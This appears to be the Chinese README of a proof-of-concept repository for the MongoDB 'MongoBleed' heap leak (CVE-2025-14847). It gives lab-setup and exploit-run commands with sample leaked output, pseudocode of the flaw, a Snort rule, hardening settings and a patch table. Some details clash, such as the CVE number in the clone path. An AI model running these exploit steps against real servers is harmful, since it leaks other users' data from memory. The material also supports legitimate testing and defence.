CVE-2025-14847 (MongoBleed) 的完整概念验证
已测试:✅ MongoDB 7.0.5 | 14.300+ 次成功利用 | 4 个 UUID 泄露
本仓库包含一个功能完整的概念验证(PoC),针对漏洞 CVE-2025-14847,也称为 MongoBleed——MongoDB 中一个严重的预认证堆内存泄露缺陷。
在 2025 年 12 月,游戏《彩虹六号:围攻》遭受了一次大规模攻击,约 50,000 个玩家账户被入侵。怀疑攻击者利用后端 MongoDB 的这个漏洞泄露了以下内容:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN,DEV_BUILD_WHITELIST)本 PoC 使用真实的 R6 数据模拟该攻击。
poc.py - 主漏洞利用,含模式分析live_leaker.py - 高级增量扫描popular_heap.py - 用于使用目标数据填充堆的脚本246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# 克隆仓库
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# 启动有漏洞的环境
docker-compose up -d
# 等待初始化(15-20 秒)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. 用 R6 数据填充堆
python3 popular_heap.py 50
# 2. 检查漏洞
python3 poc.py --target 127.0.0.1 --check
# 3. 使用实时泄露器进行利用(推荐)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker 高级版
[!] 目标:127.0.0.1:27017
[!] 范围:doc_len 200 → 3000 (offset=500)
[*] 进度:doc_len=245/3000 | 尝试次数=100 | 成功率=100.0%
[!] 检测到 R6 模式 (doc_len=245):
[UUID] 1 个新:
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDB 允许通过 zlib 进行消息压缩。漏洞在于声明大小与实际大小之间的验证不当:
攻击者 → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
↓
服务器分配 1MB 堆空间 ← 漏洞
↓
服务器仅解压 50 字节
↓
服务器返回整个 1MB!
└─ 50 字节 = 真实数据
└─ ~1MB - 50 = 内存泄露
// 补丁前
size_t uncompressedSize = header.uncompressedSize; // ← 由攻击者控制
buffer = malloc(uncompressedSize); // ← 分配恶意大小
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← 泄露整个缓冲区
MongoDBPoc/
├── poc.py # 主漏洞利用
├── live_leaker.py # 增量扫描(✨ 推荐)
├── popular_heap.py # 数据加载脚本
├── docker-compose.yml # 有漏洞的 MongoDB 7.0.5
├── init-db.js # 1000 名玩家 + 500 个 R6 会话
├── GUIA_TECNICO_COMPLETO.md # 详细文档(200+ 页)
├── README.MD # 英文文档
└── Portugues/ # 翻译版本
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed 攻击尝试";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # 绝不要设为 0.0.0.0!
compression:
compressors: [] # 禁用 zlib
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md - 完整技术分析(200+ 页)
README.MD - 主文档(英文)
Portugues/ - 翻译版本
此工具仅供授权测试和教育使用。
未经授权使用是违法的,可能导致:
- 刑事起诉(在巴西依据第 12.737/2012 号法律)
- 高额罚款
- 监禁
在测试前务必获得书面许可。
作者:Ermenson Jr
许可证:MIT(教育用途)
日期:2026 年 1 月
如有技术问题或安全研究合作意向:
为负责任的攻击性安全研究而开发。
与育碧、MongoDB Inc. 或《彩虹六号:围攻》无关。
🔒 请负责任地使用。安全属于每个人。 🔒
| 指标 | 结果 |
|---|
| 已测试的 MongoDB | 7.0.5(有漏洞) |
| 成功率 | 100%(14,300/14,300 次请求) |
| 泄露的 UUID | 4 个唯一 |
| 总泄露量 | 33 个不同字符串 |
| 最大单次泄露 | 176 字节/请求 |
| 检测到的模式 | 网络日志、UUID、系统路径 |
| MongoDB 系列 | 有漏洞的版本 | 修复版本 |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | 全部 | 无补丁(生命周期结束) |